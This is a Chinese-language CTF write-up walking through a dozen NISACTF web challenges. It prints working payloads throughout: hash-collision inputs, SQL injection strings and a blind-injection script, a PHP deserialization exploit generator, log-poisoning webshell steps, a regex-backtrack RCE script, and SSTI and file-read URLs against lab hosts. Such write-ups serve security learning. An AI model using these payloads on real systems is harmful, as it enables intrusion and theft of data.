NISACTF_WEB题解

发布于 2022-03-31  82 次阅读


一、checkin:神奇的Unicode编码

  • 复现链接:https://www.ctfer.vip/?#/problem/2035

当我们选中NISACTF的时候,右边居然也选中了Flag。这着实奇怪。

打开F12查看源码发现,这个编码着实奇怪。

我们的根本目的是发送一串字符,让他和所需的字符匹配,那么可以直接进行url编码查看引号中间是什么。

可以发现中间出现了一些奇奇怪怪的东西,于是我们直接构造payload:

ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

其原理是因为E280AE、E281A6、E281A9这三个特殊的unicode字符,

参考链接:https://mp.weixin.qq.com/s/lo2AiEloACLtCn2Ncle33A

二、level-up:robots.txt泄露,MD5、sha1撞库绕过,parse_url的函数缺陷、create_function注入

  • 复现链接:https://www.ctfer.vip/?#/problem/2036

    转自官方wp

level1

查看源码发现注释

得到robots.txt信息,访问得到level2路径

level2


参考链接:https://blog.csdn.net/iczfy585/article/details/106081299
md5碰撞绕过===

MD5碰撞

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }

这里和上面不同之处在于有一个强制类型转化,若传入数组转化后的结果都是字符串Array。这里需要用到的是MD5碰撞,也就是不同字符串但是MD5后值相同的情况。下面的任意两组字符串内容不同,但md5结果相同。

$s1 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"
$s2 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab"
$s3 = "%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab"


官方payload:

array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

level3


同上题一样,只不过考的是sha1的强比较绕过,
参考链接:https://www.cnblogs.com/king-kb/p/15531476.html

if(isset($_GET['a']) and isset($_GET['b']))
{
        if($_GET['a']==$_GET['b'])
                die();
        else if(is_array($GET['a']) || is_array($GET['b']))
                die();
        else if(sha1($_GET['a'])===sha1($_GET['b']))
                echo $flag;
        else 
                die();
}

像这样,其中is_array()函数用来检测是否为数组,发现我们没法用数组进行绕过。
搜索发现SHA-1算法已经碰撞成功,原理是构建了两个SHA-1值相同但不一样的pdf文件1.pdf和2.pdf然而如何比较这两个文件的不同之处到底在哪里呢?

通过cmp命令cmp -l 1.pdf 2.pdf

发现不同的部分在前320个字节。
但是如何把这个部分拿去登录呢?

将两个文件的前320个字节用url编码(urlencode),可以构造如下:
/?a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

直接payload打

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

level4


乍一看,考的好像是php字符串解析特性,不过黑名单那里把空格和点号都给禁用了,那剩下的就只有’ [ ‘号了,但是如果构造 NI[SA[ 这个参数的话还是行不通的,因为php在遇到两个’ [ ‘号时,只会把第一个’ [ ‘号转换为’ _ ‘,而第二个不会转换(具体原因看看php源码就知道了,Y4tacker师傅博客有写)所以此题转换一下思路,利用parse_url的函数缺陷,在遇到严重的url不标准时,parse_url函数会返回NULL,即可绕过黑名单限制
payload:http://1.14.71.254:28023///level_level_4.php?NI_SA_=txw4ever
或者,这个地方parse_url判断的只是?后面的字符串,所以可以通过url编码直接绕过
payload:http://1.14.71.254:28023/level_level_4.php?NI%5FSA%5F=txw4ever

level5

其实这个level也是后加的了,本着这题都是(超)老考点的集合,就干脆再加个老考点了,源码取自p神的code_breaking2018的function那题(匿名函数),老考点了就不多说了,直接利用create_function注入达到RCE目的
http://1.14.71.254:28068/55_5_55.php?a=\create_function&b=};print_r(scandir('/'));//

http://1.14.71.254:28068/55_5_55.php?a=\create_function&b=};readfile('/flag');//

三*、join-us:报错注入、无列名注入

  • 复现链接:https://www.ctfer.vip/#/problem/2034

进入题目后在登录页面发现sql注入点,输入1’报错,输出1‘# 正常

利用bp扫描一下ban了哪些函数

下面是官方给的blacklist:

$blacklist = "union|left|right|and|by|if|\&|sleep|floor|substr|ascii|=|\"|benchmark|as|column|insert|update|or ";//注意or后面有个空格

可以看到,题目是有回显的,并且黑名单中没有看到extractvalue()函数,所以可以构造报错注入。
按道理,可以用:

1'or(extractvalue(1,concat(0x7e,(select(database())))))#

但是as被ban了,所以database不能用,所以我们用:

1'or(select('da')from(aa))#

  • 得到了数据库的名字是sqlsql

    接着:利用报错注入得到表名

-1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#

但是database被ban了,所以用'sqlsql'代替

1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('sqlsql')))))#

成功回显

这个地方由于把column给ban了,所以需要利用无列名注入。
按照道理:应该用这个语法

select(group_concat(b))from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x

但是union被ban了,瞬间没思路2333
看了官方wp学到了,用join。

  • 参考文档:https://www.runoob.com/sql/sql-join.html

SQL JOIN 子句用于把来自两个或多个表的行结合起来,基于这些表之间的共同字段。
最常见的 JOIN 类型:SQL INNER JOIN(简单的 JOIN)。 SQL INNER JOIN 从多个表中返回满足 JOIN 条件的所有行。

直接贴上官方payload

-1' || extractvalue(1,concat(0x7e,(select*from (select*from output a join output b)c)))#

-1' || extractvalue(1,concat(0x7e,(select data from output)))#


很明显并没有回显全面,这里显示右边的函数有right substring mid,前两个被ban了,只能用mid

-1' || extractvalue(1,concat(0x7e,mid((select data from output),20,40)))#

可惜right和substring被ban了,不然下面的payload也可以

-1' || extractvalue(1,concat(0x7e,substring((select data from output),20,40)))#
-1' || extractvalue(1,concat(0x7e,(select right(data,20) from output)))#


最后拼凑出flag即可

四*、hardsql:SQL盲注+Quine

  • 复现链接:https://www.ctfer.vip/#/problem/1851

    根据题目提示:

    必须使用bilala账号来登陆。

    首先利用bp进行fuzz一下。发现

    过滤了好多函数,下面给出官方的黑名单:

/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i

下面根据白名单构造

username=bilala&passwd=-1'/**/or/**/passwd/**/like/**/'a%'#

盲注构造一个脚本。

import requests
url = "http://124.221.24.137:28655/login.php"
str = "bqwertyuiopasdfghjklzxcvnm0123456789"
flag = ""
for i in range(1, 40):   
    for j in str:       
        payload = "-1'/**/or/**/passwd/**/like/**/'{}%'#".format(flag + j)
        data = {'username': 'bilala', 'passwd': payload}
        res = requests.post(url=url, data=data)
        print('[\*]going')
        if "wrong password" in res.text:
             flag += j
             print(flag)
             breakprint(flag)

最终得到密码:b2f2d15b3ae082ca29697d8dcd420fd7
登陆之后得到源码:

<?php
//多加了亿点点过滤
include_once("config.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
    if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
        alertMes('waf here', 'index.php');
    }
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
    $username=$_POST['username'];
    $password=$_POST['passwd'];
    if ($username !== 'bilala') {
        alertMes('only bilala can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
    $user_result=mysqli_query($MysqlLink,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes('nothing found','index.php');
    }
    if ($row['passwd'] === $password) {
        if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
            show_source(__FILE__);
            die;
        }
        else{
            die($FLAG);
        }
    } else {
        alertMes("wrong password",'index.php');
    }
}
?>

本题的核心内容就是构造这个Quine注入

参考[2021 第五空间]yet_another_mysql_injection这题
参考链接:https://www.cnblogs.com/kingbridge/articles/15818673.html

原题是直接可以用char的,但是这个题把char给ban了,所以可以用chr或者用\x进行十六进制表示

语法
REPLACE ( string_expression , string_pattern , string_replacement )
参数
string_expression 要搜索的字符串表达式。string_expression 可以是字符或二进制数据类型。
string_pattern 是要查找的子字符串。string_pattern 可以是字符或二进制数据类型。string_pattern 不能是空字符串 ('')。
string_replacement 替换字符串。string_replacement 可以是字符或二进制数据类型。
返回类型
如果其中的一个输入参数数据类型为 nvarchar,则返回 nvarchar;否则 REPLACE 返回 varchar。
如果任何一个参数为 NULL,则返回 NULL。

五、babyserialize:反序列化+RCE

  • 复现链接:https://www.ctfer.vip/#/problem/1852

    先看源码

 <?php
 include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
    function __call($from,$val){
        $this->fun=$val[0];
    }
    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}
class Ilovetxw{
    public $huang;
    public $su;
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}
class four{
    public $a="TXW4EVER";
    private $fun='abc';
    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}
//function hint(){
//    echo ".......";
//    die();
//}?>

直接给出pop链:

TianXiWei::__wakeup() --> Ilovetxw::__call() --> four::__set() --> Ilovetxw::__toString() --> NISA::__invoke()

构造exp

<?php
//include "waf.php";
class NISA{
    public $fun;
    public $txw4ever="echo `";
    function __construct(){

    }
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            // hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];

    }

    public function __toString()
    {

        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;


    public function __wakeup()
    {

        $this->ext->nisa('123',array(0=>'dasd'));
    }
}

class Ilovetxw{
    public $huang;
    public $su;
    function __construct()
    {

    }

    public function __call($fun1,$arg){

        $this->huang->fun=$arg[0];
    }

    public function __toString(){

        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a;
    private $fun='sixsixsix';
    function __construct(){

    }

    public function __set($name, $value)
    {
        echo 1;

        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}



$kkk=new TianXiWei();


$kkk->ext=new Ilovetxw();

$kkk->ext->huang=new four();

$kkk->ext->huang->a=new NISA();

$kkk->ext->huang->a->fun=new Ilovetxw();

$kkk->ext->huang->a->fun->su=new NISA();
print(urlencode(serialize($kkk)));

?>


这个地方修改一句话木马

方法一、利用UA包含执行一句话木马(非预期)

首先试试system类命令,发现都不行,一个个尝试,最后发现没有过滤include,并且没有过滤空格和'和.
那就直接用include包含日志文件,再利用ua注入一句话木马即可
利用

include'/var/log/nginx/access.log'

包含日志

;看看过滤了哪些函数

O%3A9%3A%22TianXiWei%22%3A2%3A%7Bs%3A3%3A%22ext%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BO%3A4%3A%22four%22%3A2%3A%7Bs%3A1%3A%22a%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BO%3A8%3A%22Ilovetxw%22%3A2%3A%7Bs%3A5%3A%22huang%22%3BN%3Bs%3A2%3A%22su%22%3BO%3A4%3A%22NISA%22%3A2%3A%7Bs%3A3%3A%22fun%22%3BN%3Bs%3A8%3A%22txw4ever%22%3Bs%3A36%3A%22include+%27%2Fvar%2Flog%2Fnginx%2Faccess.log%27%3B%22%3B%7D%7Ds%3A8%3A%22txw4ever%22%3Bs%3A36%3A%22include+%27%2Fvar%2Flog%2Fnginx%2Faccess.log%27%3B%22%3B%7Ds%3A9%3A%22%00four%00fun%22%3Bs%3A9%3A%22sixsixsix%22%3B%7Ds%3A2%3A%22su%22%3BN%3B%7Ds%3A1%3A%22x%22%3BN%3B%7D

成功包含了日志文件。

下面利用bp抓包,修改ua头以及加一个get请求,发送两次可以看到回显
至于为什么用POST请求不行,我也不太清楚

在下面发现了 fllllllaaag,直接cat一下得到flag

方法二、利用PHP原生类进行查找

这里利用GlobIterator类来查找flag所在文件的名字

再利用SplFileObject类配合php伪协议读取其中的内容
将exp中$N1->txw4ever 的值
修改为

echo new SplFileObject("php://filter/convert.base64-encode/resource=/fllllllaaag"); 

$N1->txw4ever = "echo new SplFileObject(\"php://filter/convert.base64-encode/resource=/fllllllaaag\");"

即可得到flag内容

  • ps1:除了GlobIterator类,还有FilesystemIterator和DirectoryIterator类也可以查找文件名,用法为DirectoryIterator(glob:///f*),但是为了让大家知道GlobIterator类自带了glob协议查找,所以waf中过滤了glob
  • ps2:SplFileObject可直接配合文件名读取,wp中写伪协议也是想让大家知道这个类可以配合伪协议用

六*、middlerce

  • 复现链接:https://www.ctfer.vip/#/problem/1897

    访问后得到源码:


 <?php
 include "check.php";
if (isset($_REQUEST['letter'])){
    $txw4ever = $_REQUEST['letter'];
    if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
        die("再加把油喔");
    }
    else{
        $command = json_decode($txw4ever,true)['cmd'];
        checkdata($command);
        @eval($command);
    }
}
else{
    highlight_file(__FILE__);
}?>

这个地方考察PHP利用PCRE回溯次数限制绕过某些安全限制,
大多数程序语言都使用了NFA作为正则引擎,其中也包括PHP使用的PCRE库。
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit。


这个地方参考P神的:

PHP利用PCRE回溯次数限制绕过某些安全限制
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

正则表达式的调试器:

https://www.debuggex.com/
https://regex101.com

首先,分析:txw4ever需要进行正则判断,然而所需的cmd来自于txw4ever的json文件中的cmd,那么后边就可以构造一个没有用的变量来造成溢出回溯次数的限制。
但是checkdata(command);中对command的过滤比较严格,根据官方的过滤:

/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i

过滤了好多函数,但是读写类,还有tail没过滤的,

过滤了无字母数字,无参数RCE以及绕过disable_function的一些操作,同时也防了一手写马操作这里放出了反引号,
说到反引号很快就想到了echo ls这种命令执行,但是echo被ban了,
但这里又放出了php短标签,所以构造出cmd命令为?>
即可完成RCEflag在/flag,利用大量脏数据触发PCRE的回溯上限
RCEexp如下:

import requests
payload = '{"cmd":"?><?= `tail /f*`?>","$":"' + "$"*(1000000) + '"}'
res = requests.post("http://1.14.71.254:28044/", data={"letter":payload})
print(res.text)

七、binigdundun~

  • 复现链接:https://www.ctfer.vip/#/problem/2026
    本题考察的是文件包含漏洞。
    本题是个很好的一个文件包含的题目
    https://segmentfault.com/a/1190000018991087
    点击首页的upload的时候,发现上传界面的url是:

    显然这个是文件包含的一个点,
    这个题可以上传zip压缩包。
    再用zip、phar伪协议读取一句话木马即可。
    写好一句话的马马。

上传!

但是自己傻乎乎的犯了一个错误,以后千万别用GET请求

利用phar伪协议,我们成功运行了我们的马马。

八、easyssrf

  • 复现链接:https://www.ctfer.vip/#/problem/2025

ssrf先打file:///flag获得提示后再file:///fl4g
你应该看看除了index.php,是不是还有个ha1x1ux1u.php。


<?php
highlight_file(__FILE__);
error_reporting(0);
$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}//flag in /flagecho file_get_contents($file);

最后直接用filter伪协议读取flag

/ha1x1ux1u.php?file=php://filter/read=convert.base64-encode/resource=/flag

九*、babyupload

  • 复现链接:https://www.ctfer.vip/#/problem/2025

首先查看源码发现提示/source


from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

开始以为是需要绕过这个过滤,看来还是我想多了2333

这个题的点应该是:

这里需要利用os.path.join的bug来进行包含。

使用os.path.join第二个参数的首个字符如果是"/" , 拼接出来的路径会不包含第一个参数。。。

利用:
打开burp,随意上传一个文件,抓到包之后在proxy把文件名改成/flag,直接forward两次,回到浏览器就会看到flag。

直接访问即可得到flag

十、POPchain

  • 复现链接:https://www.ctfer.vip/#/problem/2099

    本题原题,参考:

http://landasika.top/2022/03/17/mrctf2020ezpop-php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96pop%e9%93%be%e7%9a%84%e7%ae%80%e5%8d%95%e6%9e%84%e9%80%a0/

十一**、midlevel

本题是SSTI注入,这个专题还没开始研究。。。。所以直接复制wp了

  • 复现链接:https://www.ctfer.vip/#/problem/2023

提示Build With Smarty,发现是Smarty SSTI;右上角得知是通过IP注入用burp构造在headers添加

X-Forwarded-For:{7+7}

开始注入

Current IP返回14

根据smarty手册返回版本号

X-Forwarded-For:{$smarty.version}

X-Forwarded-For:{$smarty.template}

读取flag

X-Forwarded-For:{if readfile('/flag')}{/if}

十二**、is secret

本题是 flask模板,先复制wp,下次再复现

  • 复现链接:https://www.ctfer.vip/#/problem/2102

    进入题目页面只有个Welcome To Find Secret

    扫目录扫出一个secret目录/secret

在/secret目录中得到Tell me your secret.
I will encrypt it so others can’t see。
尝试传递secret参数 /secret?secret=1。

发现如题目所说的,发送的内容加密了,但是不知道怎么加密了。

修改参数的值进行盲测,发现如果传入的字符串达到一定长度会报错

